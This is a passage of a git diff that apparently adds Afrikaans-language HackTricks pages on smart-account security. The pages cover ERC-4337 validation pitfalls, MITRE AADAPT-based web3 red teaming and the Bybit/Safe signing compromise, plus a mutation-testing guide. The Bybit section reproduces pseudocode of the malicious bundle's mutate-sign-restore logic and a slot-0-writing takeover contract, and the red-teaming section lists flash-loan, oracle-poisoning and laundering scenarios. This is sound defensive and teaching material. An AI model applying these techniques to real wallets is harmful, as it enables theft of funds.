+Onder daardie valideringsomvangreëls is hierdie patrone gevaarlik:[[6]](#references)
+
+- Blokafhanklike opcodes soos `TIMESTAMP`, `NUMBER`, of `BLOCKHASH`
+- Stoortoegang buite die toegelate rekening-/entiteitsomvang, of onbegrensde iterasie oor storage
+- Eksterne oproepe of oracle-leesbewerkings wat afhanklik is van veranderlike toestand buite die toegelate valideringsomvang
+
+Slegte voorbeeld:
+```solidity
+function validateUserOp(UserOperation calldata op, bytes32 userOpHash, uint256)
+external
+returns (uint256)
+{
+require(block.timestamp < expiry, "expired");
+seen[userOpHash] = true; // stateful validation can be clobbered by another op
+require(oracle.isAllowed(op.sender), "oracle changed");
+return 0;
+}
+```
+Behandel validation as 'n deterministiese, begrensde preflight-funksie. Indien shared state of external lookups nodig is, volg die staked-entity-reëls en toets dieselfde multi-pass bundler simulation path, nie net unit tests nie.[[6]](#references)
+
+## 8) ERC-7702 initialization frontrun
+ERC-7702 gee aan 'n EOA 'n permanente delegation na smart-account-kode; die delegation voer initialization nie atomies uit nie. Indien initialization extern callable is, kan 'n waarnemer dit front-run en homself as owner instel.[[7]](#references)
+
+Mitigation: vereis dat initialization calldata deur die EOA gemagtig word en laat initialization slegs een keer toe. In 'n ERC-4337 EIP-7702-flow moet die caller ook tot `EntryPoint.senderCreator()` beperk word.[[5]](#references)[[7]](#references)
+```solidity
+function initialize(address newOwner, bytes calldata initSig) external {
+require(owner == address(0), "already inited");
+// Verify the EOA's signature over the complete initialization calldata.
+require(_isAuthorizedByEOA(newOwner, initSig), "bad init auth");
+owner = newOwner;
+}
+```
+## Vinnige pre-merge checks
+- Validateer handtekeninge met `EntryPoint` se `userOpHash` (bind gas-velde).
+- Beperk bevoorregte funksies tot `EntryPoint` en/of `address(this)` soos toepaslik.
+- Hou `validateUserOp` stateless, deterministies en versoenbaar met bundler-simulasie-reëls.
+- Dwing EIP-712-domeinskeiding af vir ERC-1271 en gee `0x1626ba7e` terug by sukses.
+- Hou `postOp` minimaal, begrens en non-reverting; beveilig fooie tydens validasie.
+- Toets die eerste `initCode`-pad afsonderlik: deterministiese deployment, idempotente factory-gedrag en eenmalige initialisering.
+- Voer die bundler se multi-pass-validasie en ’n traced full-bundle check uit voordat dit vrygestel word.
+- Vir ERC-7702, bind init aan EOA-autorisering en laat dit slegs een keer toe; in ERC-4337-vloeie, beperk die caller tot `EntryPoint.senderCreator()`.
+
+## References
+
+- [1] [ERC1271 Replay - 15+ spanne geraak (curiousapple)](https://paragraph.com/@curiousapple/fwlBuaAuGsWwLRPTLKxB)
+- [2] [Ses foute in ERC-4337 smart accounts (Trail of Bits)](https://blog.trailofbits.com/2026/03/11/six-mistakes-in-erc-4337-smart-accounts/)
+- [3] [ERC-1271: Standaardmetode vir handtekeningvalidasie vir kontrakte](https://eips.ethereum.org/EIPS/eip-1271)
+- [4] [EIP-712: Hashing en ondertekening van getipeerde gestruktureerde data](https://eips.ethereum.org/EIPS/eip-712)
+- [5] [ERC-4337: Account Abstraction met behulp van Alt Mempool](https://eips.ethereum.org/EIPS/eip-4337)
+- [6] [ERC-7562: Reëls vir die validasies omvang van Account Abstraction](https://eips.ethereum.org/EIPS/eip-7562)
+- [7] [EIP-7702: Stel kode vir EOA’s](https://eips.ethereum.org/EIPS/eip-7702)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/value-centric-web3-red-teaming.md b/src/blockchain/blockchain-and-crypto-currencies/value-centric-web3-red-teaming.md
new file mode 100644
index 00000000000..869605fc25a
--- /dev/null
+++ b/src/blockchain/blockchain-and-crypto-currencies/value-centric-web3-red-teaming.md
@@ -0,0 +1,108 @@
+# Waardegesentreerde Web3 Red Teaming (MITRE AADAPT)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Die MITRE Adversarial Actions in Digital Asset Payment Techniques (AADAPT)-raamwerk kategoriseer adversarial actions en techniques wat digitale batestelsels teiken.[[1]](#references) Behandel dit as ’n **ruggraat vir threat modeling**: inventariseer elke komponent wat bates kan mint, prys, autoriseer of roeteer, karteer daardie raakpunte na AADAPT techniques, en dryf dan red-team-scenario’s wat meet of die omgewing onomkeerbare ekonomiese verlies kan weerstaan.
+
+## 1. Inventariseer komponente wat waarde dra
+Bou ’n kaart van alles wat die waardetoestand kan beïnvloed, selfs al is dit off-chain.[[2]](#references)
+
+- **Custodial signing services** (HSM/KMS-clusters, Vault/KMaaS, signing APIs wat deur bots of back-office-jobs gebruik word). Leg key IDs, policies, automation identities en approval workflows vas.
+- **Admin- en upgrade-paaie** vir contracts (proxy admins, governance timelocks, emergency pause keys, parameter registries). Sluit in wie/wat dit kan call, en onder watter quorum of delay.
+- **On-chain protocol-logika** wat lending, AMMs, vaults, staking, bridges of settlement rails hanteer. Dokumenteer die invariants wat hulle aanvaar (oracle prices, collateral ratios, rebalance cadence…).
+- **Off-chain automation** wat transactions bou (market-making bots, CI/CD-pipelines, cron jobs, serverless functions). Hulle hou dikwels API keys of service principals wat signatures kan versoek.
+- **Oracles en data feeds** (aggregator composition, quorum, deviation thresholds, update cadence). Noteer elke upstream waarop geoutomatiseerde risk logic steun.
+- **Bridges en cross-chain routers** (lock/mint contracts, relayers, settlement jobs) wat chains of custodial stacks aan mekaar verbind.
+
+Aflewerbare resultaat: ’n value-flow-diagram wat wys hoe bates beweeg, wie beweging autoriseer, en watter eksterne seine business logic beïnvloed.
+
+## 2. Karteer komponente na AADAPT-gedrag
+Vertaal die AADAPT-taxonomy na konkrete attack candidates per komponent.[[2]](#references)
+
+| Komponent | Primêre AADAPT-fokus |
+| --- | --- |
+| Signing/KMS-estates | Credential theft, policy bypass, signing-abuse, governance takeover |
+| Oracles/feeds | Input poisoning, aggregation manipulation, deviation-threshold evasion |
+| On-chain protocols | Flash-loan economic manipulation, invariant breaking, parameter reconfiguration |
+| Automation pipelines | Compromised bot/CI identities, batch replay, unauthorized deployment |
+| Bridges/routers | Cross-chain evasion, rapid hop laundering, settlement desynchronization |
+
+Hierdie kartering verseker dat jy nie net die contracts toets nie, maar elke identity/automation wat waarde indirek kan stuur.
+
+## 3. Prioritiseer volgens attacker feasibility teenoor business impact
+
+1. **Operational weaknesses**: exposed CI credentials, over-privileged IAM roles, misconfigured KMS policies, automation accounts wat arbitrary signatures kan versoek, public buckets met bridge configs, ens.
+2. **Value-specific weaknesses**: fragile oracle parameters, upgradable contracts sonder multi-party approvals, flash-loan-sensitive liquidity, governance actions wat timelocks omseil.
+
+Werk deur die queue soos ’n adversary: begin met die operational footholds wat vandag kan slaag, en beweeg dan na diep protocol/economic manipulation paths.[[2]](#references)
+
+## 4. Voer uit in beheerde, produksie-realistiese omgewings
+- **Forked mainnets / geïsoleerde testnets**: repliseer bytecode, storage en liquidity sodat flash-loan paths, oracle drifts en bridge flows end-to-end kan loop sonder om regte fondse te raak.[[2]](#references)
+- **Blast-radius planning**: definieer circuit breakers, pausable modules, rollback runbooks en test-only admin keys voordat ’n scenario geaktiveer word.
+- **Stakeholder coordination**: stel custodians, oracle operators, bridge partners en compliance in kennis sodat hul monitoring-teams die traffic verwag.
+- **Legal sign-off**: dokumenteer scope, authorization en stop conditions wanneer simulations regulated rails kan kruis.
+
+## 5. Telemetry wat met AADAPT techniques belyn is
+Instrumenteer telemetry streams sodat elke scenario actionable detection data produseer.[[2]](#references)
+
+- **Chain-level traces**: volledige call graphs, gas usage, transaction nonces, block timestamps—om flash-loan bundles, reentrancy-like structures en cross-contract hops te rekonstrueer.
+- **Application/API logs**: koppel elke on-chain tx terug aan ’n human of automation identity (session ID, OAuth client, API key, CI job ID) met IPs en auth methods.
+- **KMS/HSM logs**: key ID, caller principal, policy result, destination address en reason codes vir elke signature. Stel ’n baseline van change windows en high-risk operations op.
+- **Oracle/feed metadata**: per-update data source composition, reported value, deviation from rolling averages, thresholds triggered en failover paths exercised.
+- **Bridge/swap traces**: korreleer lock/mint/unlock-events oor chains met correlation IDs, chain IDs, relayer identity en hop timing.
+- **Anomaly markers**: afgeleide metrics soos slippage spikes, abnormale collateralization ratios, ongewone gas density of cross-chain velocity.
+
+Tag alles met scenario IDs of synthetic user IDs sodat analysts observables kan belyn met die AADAPT technique wat uitgeoefen word.
+
+## 6. Purple-team-loop en maturity metrics
+1. Voer die scenario in die beheerde omgewing uit en versamel detections (alerts, dashboards, responders wat gepage word).[[2]](#references)
+2. Karteer elke stap na die spesifieke AADAPT techniques plus die observables wat in die chain/app/KMS/oracle/bridge-planes geproduseer word.
+3. Formuleer en deploy detection hypotheses (threshold rules, correlation searches, invariant checks).
+4. Voer dit weer uit totdat mean time to detect (MTTD) en mean time to contain (MTTC) aan business tolerances voldoen en playbooks die waardeverlies betroubaar stop.
+
+Volg program maturity op drie axes:[[2]](#references)
+- **Visibility**: elke kritieke value path het telemetry in elke plane.
+- **Coverage**: proporsie van geprioritiseerde AADAPT techniques wat end-to-end uitgeoefen word.
+- **Response**: vermoë om contracts te pause, keys te revoke of flows te freeze voordat onomkeerbare verlies plaasvind.
+
+Tipiese milestones: (1) voltooide value inventory + AADAPT mapping, (2) eerste end-to-end scenario met detections geïmplementeer, (3) kwartaallikse purple-team-cycles wat coverage uitbrei en MTTD/MTTC verlaag.[[2]](#references)
+
+## 7. Scenario templates
+Gebruik hierdie herhaalbare blueprints om simulations te ontwerp wat direk na AADAPT-gedrag karteer.[[2]](#references)
+
+### Scenario A – Flash-loan economic manipulation
+- **Objective**: leen tydelike kapitaal binne een transaction om AMM-pryse/liquidity te verdraai en misgeprysde borrows, liquidations of mints te trigger voordat dit terugbetaal word.
+- **Execution**:
+1. Fork die target chain en seed pools met production-like liquidity.
+2. Leen ’n groot notional via flash loan.
+3. Voer gekalibreerde swaps uit om prys-/threshold-grense te kruis waarop lending-, vault- of derivative logic steun.
+4. Invoke die victim contract onmiddellik ná die distortion (borrow, liquidate, mint) en betaal die flash loan terug.
+- **Measurement**: Het die invariant violation geslaag? Is slippage/price-deviation monitors, circuit breakers of governance pause hooks getrigger? Hoe lank het dit geneem voordat analytics die abnormale gas/call-graph-patroon gemerk het?
+
+### Scenario B – Oracle/data-feed poisoning
+- **Objective**: bepaal of manipulated feeds destruktiewe geoutomatiseerde actions kan trigger (mass liquidations, incorrect settlements).
+- **Execution**:
+1. Deploy in die fork/testnet ’n malicious feed of pas aggregator weights/quorum/update cadence aan tot buite die tolerated deviation.
+2. Laat afhanklike contracts die poisoned values consume en hul standard logic uitvoer.
+- **Measurement**: Feed-level out-of-band alerts, fallback oracle activation, min/max bound enforcement en latency tussen anomaly onset en operator response.
+
+### Scenario C – Credential/signing-abuse
+- **Objective**: toets of die kompromittering van ’n enkele signer of automation identity unauthorized upgrades, parameter changes of treasury drains moontlik maak.
+- **Execution**:
+1. Inventariseer identities met sensitive signing rights (operators, CI tokens, service accounts wat KMS/HSM invoke, multisig participants).
+2. Simuleer compromise (hergebruik hul credentials/keys binne die lab-scope).
+3. Probeer privileged actions: upgrade proxies, change risk parameters, mint/pause assets of trigger governance proposals.
+- **Measurement**: Genereer KMS/HSM logs anomaly alerts (time-of-day, destination drift, burst of high-risk operations)? Kan policies of multisig thresholds unilateral abuse voorkom? Word throttles/rate limits of additional approvals afgedwing?
+
+### Scenario D – Cross-chain evasion & traceability gaps
+- **Objective**: evalueer hoe goed defenders assets kan traceer en interdict wat vinnig deur bridges, DEX routers en privacy hops launder word.
+- **Execution**:
+1. Chain lock/mint-operations oor algemene bridges aan mekaar, interleave swaps/mixers op elke hop, en behou per-hop correlation IDs.
+2. Versnel transfers om monitoring latency te stres (multi-hop binne minute/blocks).
+- **Measurement**: Tyd om events oor telemetry + commercial chain analytics te korreleer, volledigheid van die gerekonstruueerde path, vermoë om choke points te identifiseer om in ’n werklike incident te freeze, en alert fidelity vir abnormale cross-chain velocity/value.
+
+## References
+
+- [1] [AADAPT(TM) Cyber Threat Framework for Digital Assets (MITRE)](https://www.mitre.org/sites/default/files/2025-05/PR-25-1118-aadpt-cyber-threat-framework-for-digital-assets.pdf)
+- [2] [MITRE AADAPT Framework as a Red Team Roadmap (Bishop Fox)](https://bishopfox.com/blog/mitre-aadapt-framework-as-a-red-team-roadmap)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md b/src/blockchain/blockchain-and-crypto-currencies/web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md
new file mode 100644
index 00000000000..37ce0386c6f
--- /dev/null
+++ b/src/blockchain/blockchain-and-crypto-currencies/web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md
@@ -0,0 +1,81 @@
+# Web3 Signing Workflow Compromise & Safe Delegatecall Proxy Takeover
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+'n Koue-beursie-diefstalketting het 'n **supply-chain compromise van die Safe{Wallet}-web-UI** gekombineer met 'n **on-chain delegatecall primitive wat 'n proxy se implementation pointer (slot 0) oorgeskryf het**. Die belangrikste gevolgtrekkings is:
+
+- As 'n dApp kode in die signing path kan inject, kan dit 'n signer laat produseer 'n geldige **EIP-712 signature oor velde wat deur die aanvaller gekies is**, terwyl die oorspronklike UI-data herstel word sodat ander signers onbewus bly.[[1]](#references)[[3]](#references)[[4]](#references)
+- Safe proxies stoor `masterCopy` (implementation) by **storage slot 0**. 'n Delegatecall na 'n contract wat na slot 0 skryf, “upgrade” die Safe effektief na attacker logic, wat volle beheer oor die wallet gee.[[3]](#references)
+
+## Off-chain: Targeted signing mutation in Safe{Wallet}
+
+'n Gepeuterde Safe bundle (`_app-*.js`) het spesifieke Safe- en signer-addresses selektief aangeval. Die injected logic is direk voor die signing call uitgevoer:[[1]](#references)[[3]](#references)
+```javascript
+// Pseudocode of the malicious flow
+orig = structuredClone(tx.data);
+if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
+tx.data.to = attackerContract;
+tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
+tx.data.operation = 1; // delegatecall
+tx.data.value = 0;
+tx.data.safeTxGas = 45746;
+const sig = await sdk.signTransaction(tx, safeVersion);
+sig.data = orig; // restore original before submission
+tx.data = orig;
+return sig;
+}
+```
+### Aanvalseienskappe
+- **Context-gated**: hard-coded allowlists vir slagoffer-Safes/signers het geraas voorkom en detection verlaag.[[1]](#references)[[3]](#references)
+- **Last-moment mutation**: velde (`to`, `data`, `operation`, gas) is onmiddellik voor `signTransaction` oorskryf en daarna teruggestel, sodat proposal payloads in die UI onskuldig gelyk het terwyl signatures met die attacker payload ooreengestem het.[[3]](#references)
+- **EIP-712 opacity**: wallets het structured data gewys, maar nie nested calldata gedecodeer of `operation = delegatecall` uitgelig nie, wat die gemuteerde message effektief blind-signed gemaak het.[[3]](#references)[[4]](#references)
+
+### Relevansie van Gateway validation
+Safe proposals word na die **Safe Client Gateway** gestuur.[[5]](#references) Voor hardened checks kon die gateway ’n proposal aanvaar waar `safeTxHash`/signature met ander velde as dié in die JSON body ooreengestem het indien die UI dit ná signing herskryf het. Ná die incident verwerp die gateway nou proposals waarvan die hash/signature nie met die submitted transaction ooreenstem nie.[[3]](#references) Soortgelyke server-side hash verification moet op enige signing-orchestration API afgedwing word.
+
+### Hoogtepunte van die 2025 Bybit/Safe incident
+- Die Bybit cold-wallet drain op 21 Februarie 2025 (~401k ETH) het dieselfde patroon hergebruik: ’n compromised Safe S3 bundle het slegs vir Bybit signers geaktiveer en `operation=0` → `1` gewysig, met `to` wat na ’n pre-deployed attacker contract gewys het wat slot 0 skryf.[[1]](#references)[[3]](#references)
+- Wayback-gecachede `_app-52c9031bfa03da47.js` wys dat die logika op Bybit se Safe (`0x1db9…cf4`) en signer addresses gebaseer was, waarna dit onmiddellik ná execution na ’n clean bundle teruggerol is, wat die “mutate → sign → restore”-trick weerspieël.[[1]](#references)[[2]](#references)
+- Die malicious contract (byvoorbeeld `0x9622…c7242`) het eenvoudige functions `sweepETH/sweepERC20` plus ’n `transfer(address,uint256)` bevat wat die implementation slot skryf. Execution van `execTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))` het die proxy implementation verskuif en volledige beheer verleen.[[1]](#references)[[3]](#references)
+
+## On-chain: Delegatecall proxy takeover via slot collision
+
+Safe proxies hou `masterCopy` by **storage slot 0** en delegate alle logika na dit. Omdat Safe **`operation = 1` (delegatecall)** ondersteun, kan enige signed transaction na ’n arbitrary contract wys en sy code in die proxy se storage context uitvoer.[[3]](#references)
+
+’n Attacker contract het ’n ERC-20 `transfer(address,uint256)` nageboots, maar eerder `_to` in slot 0 geskryf:[[1]](#references)[[3]](#references)
+```solidity
+// Decompiler view (storage slot 0 write)
+uint256 stor0; // slot 0
+function transfer(address _to, uint256 _value) external {
+stor0 = uint256(uint160(_to));
+}
+```
+Uitvoeringspad:[[1]](#references)[[3]](#references)
+1. Slagoffers teken `execTransaction` met `operation = delegatecall`, `to = attackerContract`, `data = transfer(newImpl, 0)`.
+2. Safe masterCopy valideer handtekeninge oor hierdie parameters.
+3. Proxy gebruik `delegatecall` na `attackerContract`; die `transfer`-liggaam skryf slot 0.
+4. Slot 0 (`masterCopy`) wys nou na aanvaller-beheerde logika → **volledige wallet-oorneming en dreinering van fondse**.
+
+### Guard- en weergawe-aantekeninge (verharding ná die insident)
+- Transaction guards is in Safe v1.3.0 bekendgestel en kan alle `execTransaction`-parameters voor uitvoering inspekteer; ’n guard kan `delegatecall` verwerp of beleid op die bestemming en calldata afdwing. Bybit het v1.1.1 gebruik, wat hierdie hook voorafgegaan het.[[2]](#references)[[6]](#references)
+
+## Opsporing- en verhardingskontrolelys
+
+- **UI-integriteit**: pin JS-assets / SRI; monitor bundelverskille; behandel die signing UI as deel van die vertrouensgrens.
+- **Validasie tydens signing**: hardware wallets met **EIP-712 clear-signing**; wys `operation` eksplisiet en decode geneste calldata. Verwerp signing wanneer `operation = 1`, tensy beleid dit toelaat.[[3]](#references)
+- **Bedienerkant-hashkontroles**: gateways/services wat proposals relê, moet `safeTxHash` herbereken en valideer dat handtekeninge ooreenstem met die ingediende velde.[[3]](#references)
+- **Beleid/allowlists**: preflight-reëls vir `to`, selectors, asset-tipes, en verbied delegatecall behalwe vir gekeurde flows. Vereis ’n interne policy service voor volledig ondertekende transaksies uitgesaai word.
+- **Contract-ontwerp**: vermy die blootstelling van arbitrêre delegatecall in multisig/treasury wallets, tensy dit streng nodig is. Behandel enige implementation pointer as ’n upgrade primitive: beskerm dit met eksplisiete access control en guard delegatecall-teikens/selectors; om die pointer alleen na ’n ander slot te verskuif, is nie ’n volledige verdediging nie.[[3]](#references)[[6]](#references)
+- **Monitering**: waarsku oor delegatecall-uitvoerings vanaf wallets wat treasury-fondse hou, en oor proposals wat `operation` vanaf tipiese `call`-patrone verander.
+
+## References
+
+- [1] [AnChain.AI forensiese ontleding van die Bybit Safe-exploit](https://www.anchain.ai/blog/bybit)
+- [2] [Zero Hour Technology se ontleding van die Safe-bundelkompromittering](https://www.panewslab.com/en/articles/7r34t0qk9a15)
+- [3] [In-diepte tegniese ontleding van die Bybit-hack (NCC Group)](https://www.nccgroup.com/research-blog/in-depth-technical-analysis-of-the-bybit-hack/)
+- [4] [EIP-712](https://eips.ethereum.org/EIPS/eip-712)
+- [5] [safe-client-gateway (GitHub)](https://github.com/safe-global/safe-client-gateway)
+- [6] [Safe smart account v1.3.0-veranderingslog (GitHub)](https://github.com/safe-fndn/safe-smart-account/blob/main/CHANGELOG.md)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
new file mode 100644
index 00000000000..1b6c3594b9d
--- /dev/null
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -0,0 +1,170 @@
+# Mutation Testing vir Smart Contracts (slither-mutate, mewt, MuTON)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Mutation testing "toets jou toetse" deur stelselmatig klein veranderinge (mutants) aan contract-kode bekend te stel en die testsuite weer uit te voer. As 'n toets misluk, word die mutant gekill. As die toetse steeds slaag, oorleef die mutant, wat 'n blinde kol onthul wat line/branch coverage nie kan opspoor nie.
+
+Sleutelidee: Coverage wys dat kode uitgevoer is; mutation testing wys of gedrag werklik geassert word.[[2]](#references)
+
+## Waarom coverage kan mislei
+
+Beskou hierdie eenvoudige threshold-kontrole:
+```solidity
+function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
+if (deposit >= 1 ether) {
+return true;
+} else {
+return false;
+}
+}
+```
+Unit tests wat slegs ’n waarde onder en ’n waarde bo die drempel nagaan, kan 100% reël-/takdekking bereik sonder om die gelykheidsgrens (`==`) te bevestig. ’n Herfaktorering na `deposit >= 2 ether` sou steeds sulke toetse slaag en protokollogika stilweg breek.[[2]](#references)
+
+Mutation testing onthul hierdie gaping deur die voorwaarde te muteer en te verifieer dat toetse misluk.
+
+Vir smart contracts stem mutante wat oorleef dikwels ooreen met ontbrekende kontroles rondom:
+- Magtiging en rolgrense
+- Rekeningkundige-/waardoordrag-invariante
+- Revert-voorwaardes en mislukkingpaaie
+- Grensvoorwaardes (`==`, nulwaardes, leë skikkings, maksimum-/minimumwaardes)
+
+## Mutation operators met die hoogste sekuriteitssein
+
+Nuttige mutation-klasse vir contract auditing:[[1]](#references)[[2]](#references)
+- **Hoë erns**: vervang statements met `revert()` om paaie wat nie uitgevoer word nie, bloot te lê
+- **Medium erns**: kommenteer reëls uit / verwyder logika om ongeverifieerde newe-effekte te onthul
+- **Lae erns**: subtiele operator- of konstantevervangings soos `>=` -> `>` of `+` -> `-`
+- Ander algemene wysigings: vervanging van assignments, boolean-omkerings, negasie van voorwaardes en tipeveranderings
+
+Praktiese doel: maak alle betekenisvolle mutante dood en regverdig oorlewendes wat irrelevant of semanties ekwivalent is, uitdruklik.
+
+## Waarom syntax-aware mutation beter as regex is
+
+Ouer mutation engines het op regex- of lyngebaseerde herskrywings staatgemaak. Dit werk, maar het belangrike beperkings:[[1]](#references)
+- Multi-line statements is moeilik om veilig te muteer
+- Die taalstruktuur word nie verstaan nie, dus kan comments/tokens verkeerd geteiken word
+- Die generering van elke moontlike variant op ’n swak lyn mors groot hoeveelhede runtime
+
+AST- of Tree-sitter-gebaseerde tooling verbeter dit deur gestruktureerde nodes pleks van rou lyne te teiken:[[1]](#references)
+- **slither-mutate** gebruik Slither se Solidity AST.[[4]](#references)
+- **mewt** gebruik Tree-sitter as ’n language-agnostic kern.[[6]](#references)
+- **MuTON** bou op `mewt` en voeg first-class support by vir TON-tale soos FunC, Tolk en Tact.[[7]](#references)
+
+Dit maak multi-line constructs en expression-level mutations baie meer betroubaar as regex-only benaderings.
+
+## Mutation testing met slither-mutate uitvoer
+
+Vereistes: Slither v0.10.2+.
+
+- Lys opsies en mutators:
+```bash
+slither-mutate --help
+slither-mutate --list-mutators
+```
+- Foundry-voorbeeld (vang resultate vas en hou 'n volledige log):[[2]](#references)
+```bash
+slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
+```
+- As jy nie Foundry gebruik nie, vervang `--test-cmd` met die manier waarop jy toetse uitvoer (bv. `npx hardhat test`, `npm test`).
+
+Artifacts word by verstek in `./mutation_campaign` gestoor. Ongevange (oorlewende) mutante word daarheen gekopieer vir inspeksie.[[5]](#references)
+
+### Verstaan die uitvoer
+
+Verslagreëls lyk soos:
+```text
+INFO:Slither-Mutate:Mutating contract ContractName
+INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
+```
+- Die tag tussen hakies is die mutator-alias (byvoorbeeld, `CR` = Comment Replacement).
+- `UNCAUGHT` beteken dat toetse onder die gemuteerde gedrag geslaag het → ontbrekende assertion.
+
+## Vermindering van runtime: prioritiseer impakvolle mutants
+
+Mutation campaigns kan ure of dae neem. Wenke om koste te verminder:[[1]](#references)[[2]](#references)
+- Omvang: Begin slegs met kritieke contracts/directories en brei dit daarna uit.
+- Prioritiseer mutators: As ’n hoëprioriteit-mutant op ’n reël oorleef (byvoorbeeld `revert()` of comment-out), slaan laerprioriteit-variante vir daardie reël oor.
+- Gebruik tweefase-campaigns: Voer eers gefokusde/vinnige toetse uit, en toets daarna slegs uncaught mutants weer met die volledige suite.
+- Koppel mutation targets waar moontlik aan spesifieke test commands (byvoorbeeld auth-kode -> auth-toetse).
+- Beperk campaigns tot mutants met hoë/medium severity wanneer tyd beperk is.
+- Paralleliseer toetse indien jou runner dit toelaat; cache dependencies/builds.
+- Fail-fast: stop vroeg wanneer ’n verandering duidelik ’n assertion gap demonstreer.
+
+Die runtime-wiskunde is brutaal: `1000 mutants x 5-minute tests ~= 83 hours`, dus is campaign-ontwerp net so belangrik soos die mutator self.[[1]](#references)
+
+## Persistente campaigns en triage op skaal
+
+Een swakheid van ouer workflows is dat resultate slegs na `stdout` geskryf word. Vir lang campaigns maak dit pause/resume, filtering en review moeiliker.[[1]](#references)
+
+`mewt`/`MuTON` verbeter dit deur mutants en uitkomste in SQLite-backed campaigns te stoor. Voordele:[[1]](#references)
+- Pause en resume lang runs sonder om vordering te verloor
+- Filter slegs uncaught mutants in ’n spesifieke lêer of mutation class
+- Export/translate resultate na SARIF vir review tooling
+- Gee AI-assisted triage kleiner, gefiltreerde resultaatstelle in plaas van rou terminal logs
+
+Persistente resultate is veral nuttig wanneer mutation testing deel van ’n audit pipeline word in plaas van ’n eenmalige handmatige review.
+
+## Triage-workflow vir mutants wat oorleef
+
+1) Inspekteer die gemuteerde reël en gedrag.
+- Reproduceer plaaslik deur die gemuteerde reël toe te pas en ’n gefokusde toets uit te voer.
+
+2) Versterk toetse om state te assert, nie slegs return values nie.
+- Voeg equality-boundary checks by (byvoorbeeld, toets threshold `==`).
+- Assert post-conditions: balances, total supply, authorization effects en emitted events.
+
+3) Vervang té permissive mocks met realistiese gedrag.
+- Verseker dat mocks transfers, failure paths en event emissions afdwing wat on-chain plaasvind.
+
+4) Voeg invariants vir fuzz tests by.
+- Byvoorbeeld, conservation of value, non-negative balances, authorization invariants en monotonic supply waar van toepassing.
+
+5) Skei true positives van semantic no-ops.
+- Voorbeeld: `x > 0` -> `x != 0` is betekenisloos wanneer `x` unsigned is.
+
+6) Voer die campaign weer uit totdat survivors vernietig of uitdruklik geregverdig is.
+
+## Gevallestudie: onthulling van ontbrekende state assertions (Arkis-protokol)
+
+’n Mutation campaign tydens ’n audit van die Arkis DeFi-protokol het survivors soos die volgende blootgelê:[[2]](#references)[[3]](#references)
+```text
+INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
+```
+Deur die assignment uit te kommentarieer, het die tests steeds geslaag, wat bewys dat post-state assertions ontbreek. Die hoofoorsaak: die code het ’n user-controlled `_cmd.value` vertrou in plaas daarvan om werklike token transfers te valideer. ’n Attacker kon verwagte en werklike transfers desinchroniseer om fondse te dreineer. Gevolg: hoë-severity risiko vir protocol-solvensie.[[2]](#references)[[3]](#references)
+
+Guidance: Behandel survivors wat value transfers, accounting of access control beïnvloed as hoë risiko totdat hulle gekill word.
+
+## Moenie blindelings tests genereer om elke mutant te kill nie
+
+Mutation-driven test generation kan terugvuur as die huidige implementasie verkeerd is. Voorbeeld: om `priority >= 2` na `priority > 2` te mutateer, verander gedrag, maar die korrekte fix is nie altyd om "’n test vir `priority == 2` te skryf nie". Daardie gedrag kan self die bug wees.[[1]](#references)
+
+Veiliger workflow:
+- Gebruik surviving mutants om onduidelike requirements te identifiseer
+- Valideer verwagte gedrag vanuit specs, protocol docs of reviewers
+- Encodeer eers daarna die gedrag as ’n test/invariant
+
+Anders loop jy die risiko om implementasie-ongelukke in die test suite vas te kodeer en valse selfvertroue te verkry.
+
+## Praktiese checklist
+
+- Run ’n targeted campaign:
+- `slither-mutate ./src/contracts --test-cmd="forge test"`
+- Verkies syntax-aware mutators (AST/Tree-sitter) bo regex-only mutation waar beskikbaar.
+- Triage survivors en skryf tests/invariants wat onder die gemuteerde gedrag sou fail.
+- Assert balances, supply, authorizations en events.
+- Voeg boundary tests by (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Vervang onrealistiese mocks; simuleer failure modes.
+- Persist results wanneer die tooling dit ondersteun, en filter uncaught mutants voor triage.
+- Gebruik two-phase of per-target campaigns om runtime hanteerbaar te hou.
+- Iterateer totdat alle mutants gekill of met comments en rationale geregverdig is.
+
+## References
+
+- [1] [Mutation testing vir die agentic era](https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/)
+- [2] [Gebruik mutation testing om die bugs te vind wat jou tests nie opvang nie (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
+- [3] [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
+- [4] [Slither (GitHub)](https://github.com/crytic/slither)
+- [5] [Slither Mutator documentation](https://github.com/crytic/slither/blob/master/docs/src/tools/Mutator.md)
+- [6] [mewt](https://github.com/trailofbits/mewt)
+- [7] [MuTON](https://github.com/trailofbits/muton)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/burp-suite.md b/src/burp-suite.md
deleted file mode 100644
index fbf2d54295f..00000000000
--- a/src/burp-suite.md
+++ /dev/null
@@ -1,18 +0,0 @@
-{{#include ./banners/hacktricks-training.md}}
-
-# Basic Payloads
-
-- **Simple List:** Just a list containing an entry in each line
-- **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists.
